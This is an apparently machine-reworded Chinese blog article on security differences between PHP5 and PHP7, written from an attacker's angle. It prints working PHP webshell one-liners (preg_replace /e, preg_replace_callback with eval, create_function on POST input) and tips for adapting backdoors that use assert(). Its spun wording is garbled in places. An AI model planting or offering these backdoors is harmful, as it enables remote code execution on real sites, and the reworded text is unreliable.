preg_replace()不再支撑/e修饰符
<?php preg_replace("/.*/e",$_GET["h"],"."); ?>
应用\e修饰符实行代码的后门人人也用了不少了,细致看官方的这段形貌:
假如设置了这个被弃用的修饰符, preg_replace() 在举行了对替代字符串的 后向援用替代今后, 将替代后的字符串作为php 代码评价实行(eval 函数体式格局),并运用实行效果 作为现实介入替代的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向援用替代时会被用反斜线转义.
很不幸,在PHP7以上版本不在支撑\e修饰符,同时官方给了我们一个新的函数preg_replace_callback:
引荐手册:PHP7新特征手册
这里我们轻微修改一下便能够应用它当我们的后门:
<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); ?>
create_function()被烧毁
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
少了一种能够应用当后门的函数,现实上它是经由过程实行eval完成的。无足轻重。
mysql_*系列全员移除
假如你要在PHP7上面用老版本的mysql_*系列函数须要你本身去分外装了,官方不在自带,如今官方引荐的是mysqli或许pdo_mysql。这是不是预示着将来SQL注入破绽在PHP上的大幅削减呢~
我已良久没在目的站上挖到过sql注入了,全都是预编译!
unserialize()增添一个可选白名单参数
$data = unserialize($serializedObj1 , ["allowed_classes" => true]); $data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);
实在就是一个白名单,假如反序列数据内里的类名不在这个白名单内,就会报错。
像如许的报错!
能够是类名也能够是布尔数据,假如是FALSE就会将一切的对象都转换为__PHP_Incomplete_Class对象。TRUE是无限制。也能够传入类名完成白名单。
还好如今是可选不是必选,如果默许FALSE逼程序员弄白名单那就真的吐血了。
assert()默许不在能够实行代码
这就是浩瀚马不能用的罪魁祸首了,太多的马用assert()来实行代码了,这个更新基本就团灭,平常情况下修正成eval即可一般运转了~
语法修正
foreach不再转变内部数组指针
<?php $a = array('1','2','3'); foreach ($a as $k=>&$n){ echo ""; } print_r($a); foreach ($a as $k=>$n){ echo ""; } print_r($a);
如许的代码在php5中,是如许的实行效果:
由于数组末了一个元素的 $value 援用在 foreach 轮回今后仍会保存,在第二个轮回的时刻现实上是对之前的指针不停的赋值。php7中经由过程值遍用时,操纵的值为数组的副本,不在对后续操纵举行影响。
这个修改影响了某些cms的洞在PHP7上没法应用了….你晓得我指的是哪一个洞的。
这个题目在PHP7.0.0今后的版本又被改回去了,只影响这一个版本。
8进制字符容错率下降
在php5版本,假如一个八进制字符假如含有无效数字,该无效数字将被寂静删省。
<?php echo octdec( '012999999999999' ) . "\n"; echo octdec( '012' ) . "\n"; if (octdec( '012999999999999' )==octdec( '012' )){ echo ": )". "\n"; }
比方如许的代码在php5中的实行效果以下:
但是在php7内里会触发一个剖析毛病。
这个题目同样在PHP7.0.0今后的版本又被改回去了,只影响这一个版本。
十六进制字符串不再被认为是数字
这个修正一出,今后CTF套路会少许多啊~
许多骚操纵都不能用了~
这个没什么好说的,人人都懂。
<?php var_dump("0x123" == "291"); var_dump(is_numeric("0x123")); var_dump("0xe" + "0x1"); var_dump(substr("foo", "0x1")); ?>
以上代码在PHP5运转效果以下:
PHP7运转效果以下:
你认为我要说这个在后续版本被改回去了?不,现在停止最新的PHP7.3版本依旧没有改回去的征象,官方称不会在改了。这个讲道理照样蛮伤的。
移除了 ASP 和 script PHP 标签
如今只要<?php ?>如许的标签能在php7上运转了。
字面意义,影响实在不是很大(只是今后骚套路会少一点)。
超大浮点数范例转换截断
将浮点数转换为整数的时刻,假如浮点数值太大,致使没法以整数表达的情况下, 在PHP5的版本中,转换会直接将整数截断,并不会激发毛病。 在PHP7中,会报错。
CTF又少一个出题套路,这个题目我只在CTF上见过,影响应当不大。
杂项
exec(), system() passthru()函数对 NULL 增添了庇护. list()不再能解开字符串string变量 $HTTP_RAW_POST_DATA 被移除 __autoload() 要领被烧毁 parse_str() 不加第二个参数会直接把字符串导入当前的符号表,假如加了就会转换称一个数组。如今是第二个参数是强行选项了。 一致差别平台下的整型长度 session_start() 能够到场一个数组掩盖php.ini的设置
相干文章引荐:
1.php7和php5有什么差别之处?php5与php7之间的对照
2.PHP5.5至PHP7.2 新特征整顿
3.php7的垃圾接纳和php5有什么区分
相干视频引荐:
1.独孤九贱(4)_PHP视频教程
相干引荐:《PHP教程》
本篇文章就是关于PHP7和PHP5在平安上的区分引见,愿望对须要的朋侪有所协助!
以上就是PHP7和PHP5在平安上的区分(实例)的细致内容,更多请关注ki4网别的相干文章!